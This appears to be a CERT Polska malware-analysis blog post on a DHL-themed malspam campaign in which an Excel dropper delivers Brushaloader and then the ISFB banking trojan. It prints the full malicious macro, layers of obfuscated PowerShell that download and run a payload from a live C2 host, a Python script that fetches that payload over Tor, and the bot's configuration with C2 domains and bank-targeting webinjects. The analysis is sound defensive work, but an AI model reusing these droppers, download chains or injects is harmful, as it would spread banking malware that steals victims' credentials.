Report an incident
Report an incident

Brushaloader gaining new layers like a pro

Yo dawg, I heard you like droppers so I put a dropper in your dropper

On 2019-11-18 we received a report that some of Polish users have began receiving malspam imitating DHL:

In this short article, we’ll take a look at the xls document that has been used as a (1st stage) dropper distributing another well-known (2nd stage) dropper – brushaloader.

Samples analysed:

  • 6a101103486e67f1d8839edd18da773bd9b665ab3df650c9882245d0ee712b8e – 25163275820.xls
  • 627294cf0495d2daf8d543aca74bf3cf684673c6a32b8ebf6649f882b362a11a – brushaloader printhpp.vbe
  • f25bee3bfe185c6df0ce25cf738f1cc9c72a9ea7f33f6f7545e73d2f3d79b5f8 – brushaloader drop(isfb dll)

 

While the embedded links did not lead to anything interesting, there was also an .xls file attached, let’s try opening it up:

Interesting…

Poking around, we have noticed that some cells have text in them, but their contents were hidden using specific style and formatting; the font size was set to 2 and color was set to white.

Let’s fetch the macro contents to see what’s going on under the hood: ➜ ~olevba 25163275820.xls

Const leftt = 5
Function cobos()
oko = Left((sokia), 2) + 0
cobos = Cells(oko, oko)
End Function
Sub toro()
Dim boll As Workbook
Set boll = Workbooks.Add
End Sub
Sub comaro()
G = "0"
If Mid(ActiveWorkbook.Name, Len(ActiveWorkbook.Name) - 4, 1) = G Then corecc
End Sub
Function frug()
frug = Zero + False
End Function
Function afa()
afa = msoLanguageIDUI
End Function
Function sokia()
sokia = Application.LanguageSettings.LanguageID(afa)
End Function
Function corecc()
If sokia = 209 * leftt Then Shell venus, msoSyncConflictClientWins
toro
End Function
Function venus()
Dim des, kes As String: des = "": kes = des
For t = leftt To 8
des = des + Zerro(Cells(t, leftt - 1))
Next t
For w = leftt To 8
kes = kes + Zerro(Cells(w, leftt))
Next w
venus = des + cobos & kes
End Function
Function Zerro(ByVal finde As String) As String
J = 1
Dim CGu, subb, hole As Integer
Dim Nnul As Integer
Dim arrg() As Integer
Dim vexel() As Long
subb = IIf(Right(finde, 1) Mod 2 = frug, leftt, leftt - J)
finde = Left(finde, Len(finde) - IIf(Right(finde, 1) Mod 2 = frug, J, J))
hole = Len(finde) / subb - J
ReDim arrg(hole): ReDim vexel(hole)
Nnul = frug: CGu = frug
For CGu = frug To hole
arrg(CGu) = CGu - (hole + J)
Next CGu
For Nnul = frug To hole
For CGu = frug To hole
If CInt(Mid(finde, CGu * subb + J, subb - 3)) = Nnul Then
vexel(Nnul) = (Mid(finde, (CGu + J) * subb - 2, 3) + arrg(Nnul))
Exit For
End If
Next CGu
Next Nnul
Zerro = "" + ""
For Nnul = frug To hole
Zerro = Zerro & Chr(vexel(Nnul))
Next Nnul
End Function
Private Sub borderstyle_Layout()
Debug.Print: ThisWorkbook.comaro: Debug.Print ""
End Sub
Private Sub prnt_Click()
Debug.Print "": ThisWorkbook.comaro:
End Sub

The above code is a complete source-code of the macros embedded in the spreadsheet. Taking a closer look we can identify several interesting snippets:

Private Sub prnt_Click()
Debug.Print "": ThisWorkbook.comaro:
End Sub

The print button does nothing, probably to encourage users to enable macros in the document.

Const leftt = 5
...
Function afa()
afa = msoLanguageIDUI
End Function
Function sokia()
sokia = Application.LanguageSettings.LanguageID(afa)
End Function
Function corecc()
If sokia = 209 * leftt Then Shell venus, msoSyncConflictClientWins
toro
End Function

The payload script will run only on application with language set to Polish (id=1045).

Const leftt = 5
...
Function cobos()
oko = Left((sokia), 2) + 0
cobos = Cells(oko, oko)
End Function
Function venus()
Dim des, kes As String: des = "": kes = des
For t = leftt To 8
des = des + Zerro(Cells(t, leftt - 1))
Next t
For w = leftt To 8
kes = kes + Zerro(Cells(w, leftt))
Next w
venus = des + cobos & kes
End Function

The program will fetch values from cells D5:D8, E5:E8 and J10 which match the fields with embedded data that we have observed earlier.

The cells’ contents are decrypted and concatenated using a custom algorithm. The result is a PowerShell script:

PoWershelL -noniNtER -W 000000000000000000000000000000000000000000000001 -exEcuTIonPOlic BYpAsS -NopRofi "\".( `$VErbOSePrEFEREnCE.TosTriNg()[1"\" +([CHaR]44).TOSTRing()+ "\"3]+'X'-Join'') ( nEW-OBJect SyStem.iO.stREAmreadEr( ( nEW-OBJect iO.cOMPrESSiON.DeflATEsTReam( [Io.memoRYstrEam][CONvert]::FroMbase64sTRING( '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' )"\" +([CHaR]44).TOSTRing()+ "\" [IO.ComPREssioN.comprESsIOnmoDE]::deCoMPRess ) ) "\" +([CHaR]44).TOSTRing()+ "\" [TEXt.eNcoDiNG]::AsciI)).ReAdtOEND() "\"|. ( $sheLlid[1]+$sHElLId[13]+'x')

Decompressing the deflate blob can be easily achieved using the following Python script:

import base64
import zlib
encoded = "TVZpj6NIEv0rVms11..."
decoded = base64.b64decode(encoded)
decompressed = zlib.decompress(decoded, -15)
with open('output', 'wb') as f:
f.write(decompressed)

Running the script yields the following results:

( &("{2}{0}{1}" -f '-','ObJEcT','nEW') ("{4}{0}{3}{2}{1}{5}" -f'ySt','De','Mrea','em.iO.sTrEa','S','R')((&("{0}{1}{2}"-f 'n','EW-','ObJEcT') ("{6}{4}{2}{8}{0}{3}{1}{7}{5}" -f 'mPResSi','.dE','Tem.','ON','S','STrEAm','sY','fLAte','IO.co')( [Io.MEMORysTREAM] [CONVErt]::("{0}{4}{2}{1}{3}" -f'fr','E6','mBAS','4STRIng','O').Invoke(("{26}{7}{9}{15}{3}{45}{27}{23}{47}{0}{28}{8}{34}{14}{1}{19}{43}{24}{49}{40}{46}{17}{37}{4}{35}{50}{13}{38}{30}{22}{25}{36}{32}{5}{6}{21}{10}{11}{20}{33}{39}{29}{2}{42}{12}{48}{16}{51}{18}{44}{41}{31}"-f'BqK8O8PL9e3DOza','oSQTxj3qX22DBeNY3QCLM5+Xpm0hpt2BX5NbKMIy73H9hF1TVbTyy','ftM0s6HI5TJz','5ooLFtgI+rfXrSqBilEiy','3C','jJjx+l906vH+DNHwBqNfORgJltqFQu5VKFqLSnbmAOLdm','X+AQ59pwhiZzo7Z4iXi+P3Qmev','a6eWkNUgBpCty6PBlzz/Pd0zksBJvoUP','T5NEgN8DpVPU7m1JUCU0JH6YLl5hSXxXFiXHoX12QtbzR9jeLoEkA4W+v1UdmdT9','gxh1vz6m3xtW29AVXhQad07fKqe/Szstp1+k0TXK','mIKFf2QZDw5T4Ddgnoh44Z8','J0UCGJ/52i3Zm2n1YrX','UWhlfiFrpdLyhaK','MtnyCa31N8y0o+eQz+iy','2BvLGjAIFLBTac','6aMk06i3ofyUc/pq2Z1hxBl1NwYYDhxfGl','80mF','GFHh3oOwHDigGWHM7Hl2CFwwBbEzlh2VaH6oBo6f6wLsmKqyCv2rHNuZSZ5lThkDI8vuMES6ZJx+Dq/hn4S3bpm1j','xcAyOQmW07ZS+ekJ38/0ffo+sQmOG5CRnzyIUwEH','s0rLPo5L7mmumBjuUV/sMoQ3l0xQe7Youd','1/ZDiOOO477xyAjNRU5lXzRsaLqNA6TdWazRsMgTnKxqwCtRT+kj8BWbbjJEbXig2cUyeFgyH9GYQX5y6DJjSO6M3818/V/RDo36UPbXrML9KlEbzzKgJyjjzIrLy','8nTGiSgc1txZdL5yHjS0Fgw3RxFEcofjEVoNOWEtKr2+OpMwjGkogoazOenvFuZORo7bhkoojuZnTDOAMKA','rAAsvFTnUGWv','rR//0ZSlamHRi8InxgWYTKNv56FoNSEAgwC2LRFYd','CbmkjRJwcHxxw5kerFeNJIigXxI0OkoTEm','ShrDPRi7/kyWjI4/z5zsz2wJzeMLqfRIFxaSK1hG1kxjiVJtotEj0e92rYrKDBxLI0aZ7FPXQYH/POJddIlaaPalmXbtAlYBwpkrO','pVZpc+JGEP0rKoqspABjDuNsTFGOl8uu9UEM','BFVYp','oraHayugGXETNuou','dRGkJEB4Uzc51cf+od6r/URgbMlOxOobAI9XSqJRLaOyMpyiYhYiBqNlW','PC','Q==','kRA2c3epDd3xTqykkwN8jwHxJYTq/PFFnXG0VW+GU','fJzdO+4Jdur7qP3QyMD5Kqvq6nujkoyYyBQNDkFP','iLIIHSjpS7m23T4Gd5S2TVN+E6cAZfdle4PZL9cZd','jL3qnmuXauadOS8nixHSJ5csgBDIODrZA+3almzxatgs/lchSjwVW3YhoWPbbi','YG52ffoUTgKMsle2/nL9yCqS04GjlnGU','09NABUU6iw6ABCA7eV5aGC16N2JNNfdHuCmLMk8cA4nqAfgSUKyegNt3oRBkQgjMxoAKGtbGD','z4VFBM0R95+S5s5jgkDukCGqKFgxwe','g7U7jlykC44DJ++xNznXCpUpaLvE5mAhEyV','T46I+','DdZNf/sA1oDL+6/A','1eVgJcXd','7qk+mrfGf9swV4l0LXj/','OCV56FRAP/93/rLA5sCJOJDdzCwXY+cNGMseU+w3FvtvG+9YEU/zVdF8CkJItTnXG2Zi/wNpMtH','zyWsiWEAmgnvhen58DN4','cM0k5GqtLpGrq1O9Ehj4IvN','srpcii7BHxbMm3ItC5TQD','YnXrV5K9Kuz7tuPMg/6+K6E/HW1m7OxJLXuO9iMqmj','/ikzEqdV','l3','y')) ,[IO.coMPresSioN.cOmpreSsIONmOdE]::"D`ecO`MprEss" )),[sySTem.teXT.ENcODINg]::"AS`cII") ).("{0}{1}" -f'ReADTOE','nd').Invoke() |&( ${eN`V`:`comsPEc}[4,24,25]-JOiN'')

The resulting script is somewhat obfuscated using strings formatting, we can clean it up with another quick Python script:

import re
import sys
string_format = '''\\("((\\{\\d+\\})+)"\\s*-f\\s*('.*?')\\)'''
def reformat(match):
items = list(map(int, match.group(1)[1:-1].split('}{')))
strings = match.group(3)[1:-1].split('\',\'')
return '"' + ''.join(strings[x] for x in items) + '"'
with open(sys.argv[1]) as f:
data = f.read()
print(re.sub(string_format, reformat, data))

Which gives us another PowerShell script with a large base64 blob that contains the next layer:

( &"nEW-ObJEcT" "SyStem.iO.sTrEaMreaDeR"((&"nEW-ObJEcT" "sYSTem.IO.comPResSiON.dEfLAteSTrEAm"( [Io.MEMORysTREAM] [CONVErt]::"frOmBASE64STRIng".Invoke("pVZpc+JGEP0rKoqspABjDuNsTFGOl8uu9UEMa6eWkNUgBpCty6PBlzz/Pd0zksBJvoUPgxh1vz6m3xtW29AVXhQad07fKqe/Szstp1+k0TXK6aMk06i3ofyUc/pq2Z1hxBl1NwYYDhxfGl5ooLFtgI+rfXrSqBilEiyzyWsiWEAmgnvhen58DN4BFVYprR//0ZSlamHRi8InxgWYTKNv56FoNSEAgwC2LRFYdsrpcii7BHxbMm3ItC5TQDBqK8O8PL9e3DOzaoraHayugGXETNuouT5NEgN8DpVPU7m1JUCU0JH6YLl5hSXxXFiXHoX12QtbzR9jeLoEkA4W+v1UdmdT9iLIIHSjpS7m23T4Gd5S2TVN+E6cAZfdle4PZL9cZd2BvLGjAIFLBTacoSQTxj3qX22DBeNY3QCLM5+Xpm0hpt2BX5NbKMIy73H9hF1TVbTyys0rLPo5L7mmumBjuUV/sMoQ3l0xQe7Youd7qk+mrfGf9swV4l0LXj/CbmkjRJwcHxxw5kerFeNJIigXxI0OkoTEm/ikzEqdVT46I+cM0k5GqtLpGrq1O9Ehj4IvNGFHh3oOwHDigGWHM7Hl2CFwwBbEzlh2VaH6oBo6f6wLsmKqyCv2rHNuZSZ5lThkDI8vuMES6ZJx+Dq/hn4S3bpm1j09NABUU6iw6ABCA7eV5aGC16N2JNNfdHuCmLMk8cA4nqAfgSUKyegNt3oRBkQgjMxoAKGtbGD3CjL3qnmuXauadOS8nixHSJ5csgBDIODrZA+3almzxatgs/lchSjwVW3YhoWPbbil3MtnyCa31N8y0o+eQz+iyz4VFBM0R95+S5s5jgkDukCGqKFgxwePCrAAsvFTnUGWvShrDPRi7/kyWjI4/z5zsz2wJzeMLqfRIFxaSK1hG1kxjiVJtotEj0e92rYrKDBxLI0aZ7FPXQYH/POJddIlaaPalmXbtAlYBwpkrOYG52ffoUTgKMsle2/nL9yCqS04GjlnGUkRA2c3epDd3xTqykkwN8jwHxJYTq/PFFnXG0VW+GUjJjx+l906vH+DNHwBqNfORgJltqFQu5VKFqLSnbmAOLdmX+AQ59pwhiZzo7Z4iXi+P3Qmev8nTGiSgc1txZdL5yHjS0Fgw3RxFEcofjEVoNOWEtKr2+OpMwjGkogoazOenvFuZORo7bhkoojuZnTDOAMKAmIKFf2QZDw5T4Ddgnoh44Z8J0UCGJ/52i3Zm2n1YrX1/ZDiOOO477xyAjNRU5lXzRsaLqNA6TdWazRsMgTnKxqwCtRT+kj8BWbbjJEbXig2cUyeFgyH9GYQX5y6DJjSO6M3818/V/RDo36UPbXrML9KlEbzzKgJyjjzIrLyfJzdO+4Jdur7qP3QyMD5Kqvq6nujkoyYyBQNDkFPg7U7jlykC44DJ++xNznXCpUpaLvE5mAhEyVdRGkJEB4Uzc51cf+od6r/URgbMlOxOobAI9XSqJRLaOyMpyiYhYiBqNlWftM0s6HI5TJz1eVgJcXdUWhlfiFrpdLyhaKYnXrV5K9Kuz7tuPMg/6+K6E/HW1m7OxJLXuO9iMqmj80mFyxcAyOQmW07ZS+ekJ38/0ffo+sQmOG5CRnzyIUwEHOCV56FRAP/93/rLA5sCJOJDdzCwXY+cNGMseU+w3FvtvG+9YEU/zVdF8CkJItTnXG2Zi/wNpMtHDdZNf/sA1oDL+6/AQ==") ,[IO.coMPresSioN.cOmpreSsIONmOdE]::"D`ecO`MprEss" )),[sySTem.teXT.ENcODINg]::"AS`cII") )."ReADTOEnd".Invoke() |&( ${eN`V`:`comsPEc}[4,24,25]-JOiN'')

Decoding the base64 and cleaning up the binary again gives us a yet another PowerShell script:

function W`D(${Q}){${B} = ${q}.ToCharArray();Foreach (${E`l} in ${B}) {${c} = ${C} + "" + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32(${e`l}))}${c}};${dF}=."Get-WMIObject" -class "win32_PhysicalMedia";${E`ZA}=[Text.Encoding]::UTF8;${a}='';${s`Er}=foreach(${df} in ${dF}){${A}=${A}+${d`F}.SerialNumber};${E}=.('wd')(${a});.('SV') ('j') (&"New-Object" "Net.WebClient");.('Sv') "qW3" "https://reloffersstart.co/ss.php?$e";function G`H(${sG}){${Tg}=[Convert]::FromBase64String(${S`G});return ${Tg}};${p`P}=(&"New-Object" "IO.StreamReader"(."New-Object" "IO.Compression.GzipStream"((."New-Object" "IO.MemoryStream"(,(([byte[]](."Variable" ('j')).Value.DownloadData((.('Gi') "Variable:/qW3").Value))))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();${F5}=${Pp}.substring(0,5)+ (${pp} -replace '.*?(?=.{1,5}$)').trim();${P`P}=(${p`p} -replace ".{5}$") -replace "^.{5}";foreach(${o`H} in ${P`P}){${ok}=@();${f`s}=${F5}.ToCharArray();${OH}=.('gh')(${OH});for(${Z}=0;${z} -lt ${O`h}.count;${z}++){${ok}+=[char]([Byte]${O`h}[${z}] -bxor[Byte]${F`S}[${z}%${f`S}.count])}};${M`k}=(&"Gci" -path (((${e`NV:T`EmP}.tostring()))) | ."Where-Object" { ${_}.PSIsContainer }|."select" "fullname" |."Get-Random" -count 1).FullName+(("bj2printhpp.vbe").REpLAce(([CHaR]98+[CHaR]106+[CHaR]50),[StrinG][CHaR]92));[io.file]::WriteAllText(${m`K},(${E`za}.GetString((&('gh')(((&"New-Object" "IO.StreamReader"(&"New-Object" "IO.Compression.GzipStream"((&"New-Object" "IO.MemoryStream"(,(&('gh')(${Ok})))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))))));if((&"gci" ${m`K}).Length -lt 5){exit};[System.Diagnostics.Process]::Start(${M`K})|."out-null";&"sleep" 25;.('ls');[io.file]::WriteAllLines(${M`K},[regex]::replace(${E},'\D','1'));

After some manual formatting we eneded up with the below script:

function W`D(${Q}){
${B} = ${q}.ToCharArray();
Foreach (${E`l} in ${B}) {
${c} = ${C} + "" + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32(${e`l}))
}
${c}
};
${dF}=."Get-WMIObject" -class "win32_PhysicalMedia";
${E`ZA}=[Text.Encoding]::UTF8;
${a}='';
${s`Er}=foreach(${df} in ${dF}){${A}=${A}+${d`F}.SerialNumber};
${E}=.('wd')(${a});
.('SV') ('j') (&"New-Object" "Net.WebClient");
.('Sv') "qW3" "https://reloffersstart.co/ss.php?$e";
function G`H(${sG}){
${Tg}=[Convert]::FromBase64String(${S`G});
return ${Tg}
};
${p`P}=(&"New-Object" "IO.StreamReader"(."New-Object" "IO.Compression.GzipStream"((."New-Object" "IO.MemoryStream"(,(([byte[]](."Variable" ('j')).Value.DownloadData((.('Gi') "Variable:/qW3").Value))))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
${F5}=${Pp}.substring(0,5)+ (${pp} -replace '.*?(?=.{1,5}$)').trim();
${P`P}=(${p`p} -replace ".{5}$") -replace "^.{5}";
foreach(${o`H} in ${P`P}){
${ok}=@();
${f`s}=${F5}.ToCharArray();
${OH}=.('gh')(${OH});
for(${Z}=0; ${z} -lt ${O`h}.count; ${z}++){
${ok}+=[char]([Byte]${O`h}[${z}] -bxor[Byte]${F`S}[${z}%${f`S}.count])
}
};
${M`k}=(&"Gci" -path (((${e`NV:T`EmP}.tostring()))) | ."Where-Object" { ${_}.PSIsContainer }|."select" "fullname" |."Get-Random" -count 1).FullName+(("bj2printhpp.vbe").REpLAce(([CHaR]98+[CHaR]106+[CHaR]50),[StrinG][CHaR]92));
[io.file]::WriteAllText(${m`K},(${E`za}.GetString((&('gh')(((&"New-Object" "IO.StreamReader"(&"New-Object" "IO.Compression.GzipStream"((&"New-Object" "IO.MemoryStream"(,(&('gh')(${Ok})))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))))));
if((&"gci" ${m`K}).Length -lt 5){exit};
[System.Diagnostics.Process]::Start(${M`K})|."out-null";
&"sleep" 25;
.('ls');
[io.file]::WriteAllLines(${M`K},[regex]::replace(${E},'\D','1'));

In short, the script iterates over drive IDs and concatenates them creating a hex-encoded unique id.

That id is then submitted to the c2, which responds with an xor-encrypted payload, that is the first stage vbs of a normal brushaloader campaign.

It can be easilly fetched, decrypted and decoded using this nifty Python script with some help from our malware-analysis library – malduck:

import requests
import malduck
from base64 import b64decode
import gzip
import os
# url fetched from sample
url = 'https://reloffersstart.co/ss.php'
my_disk_id = os.urandom(32).hex()
# avoid causing a scene
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Microsoft Windows 10.0.15063; en-US) PowerShell/6.0.0'
}
# ¯\_(ツ)_/¯
proxies = {
'http': 'socks5://localhost:9050',
'https': 'socks5://localhost:9050'
}
r = requests.get(f'{url}?{my_disk_id}', proxies=proxies, headers=headers)
# the original response is gziped
response = gzip.decompress(r.content)
# the xor key is composed of first and last 5 bytes
key = response[:5] + response[-5:]
payload = response[5:-5]
decrypted = malduck.xor(key, b64decode(payload))
# additional compression + encoding for some reason
final_payload = b64decode(gzip.decompress(b64decode(decrypted)))
with open('printhpp.vbe', 'w') as f:
f.write(final_payload.decode('utf-8'))

Brushaloader has been described exensively in the past by Proofpoint and Talos, nothing new here.

Let’s focus on the dropped binary instead, Brushaloader used to be used for distribution of Danabot botnet no. 3 in Poland, but some time ago we have observed a shift to ISFB v2.

For this particular sample the config is as follows:

{
"compilation_date": "Nov 5 2019",
"tor64_dll": "google.com file://%appdata%/system64.dll",
"botnet": 1000,
"sendtimeout": 300,
"bctimeout": 10,
"ssl": true,
"configfailtimeout": 30,
"dga_seed": 1,
"dga_base_url": "constitution.org/usdeclar.txt",
"key": "WIdtM3YCfxhwrbV1",
"dga_lsa_seed": 3988359472,
"server": 12,
"dga_count": 5,
"configtimeout": 300,
"public_key": {
"e": 65537,
"n": "27256213892455884287067357381585076149609654983833629800230381252317288335809447520963185642274274178322449945665776998752546989025703397942470105458322184125537405873353207036117374773905670551589617668518423280140116468456222289661739540894613261845269655602781589677601735834401816283415382214398638551477861138310171303571951025203425256014203691234352994991658623278672277542287595596864454581099047353290004443742335845004177185052007144036976911163550407696744880760548254252507950356568128271403814980489191845256618394785973442952757436608012760897705667350354900074611018906391447612096565995439524493312619"
},
"type": "isfb",
"dga_tld": [
".com",
".ru",
".org"
],
"knockertimeout": 300,
"xcookie": -1,
"timer": 60,
"exe_type": "worker",
"ip_service": "curlmyip.net",
"tasktimeout": 300,
"tor32_dll": "google.com file://%appdata%/system32.dll",
"version": "2.16.098",
"domains": [
{
"cnc": "http://ey7kuuklgieop2pq.onion\n"
},
{
"cnc": "http://maiamirainy.at"
},
{
"cnc": "http://drunt.at"
}
],
"dga_season": 10,
"dga_crc": 1320669898
}

The static config is used to download webinjects and redirects targeting Polish banking sites and email providers.

ACTION: REDIRECT - Target: https://*test1/my9rep/* -> http://nesssellbuyt.xyz/hc/
ACTION: REDIRECT - Target: https://*css15/home/* -> http://nesssellbuyt.xyz/newstyle/
set_url https://<REDACTED>/*
replace: </title>
inject:
</title>
<script id="myjs1" src="test1/my9rep/myjs28_frr_s35.js?bb=@ID@" data-botid="@ID@"></script>
<script id="myjs2">
document.getElementById("myjs1").parentNode.removeChild(document.getElementById("myjs1"));
document.getElementById("myjs2").parentNode.removeChild(document.getElementById("myjs2"));
</script>
end_inject

If you’re interested in receiving information about webinjects targeted at your domain, you might want to check out our injects sharing website: injects.cert.pl

That’s it, if you have any additional questions do not hestitate to reach out to us at @CERT_Polska_en or info@cert.pl

Thanks to Kafeine from Proofpoint for the ISFB sample.

Share: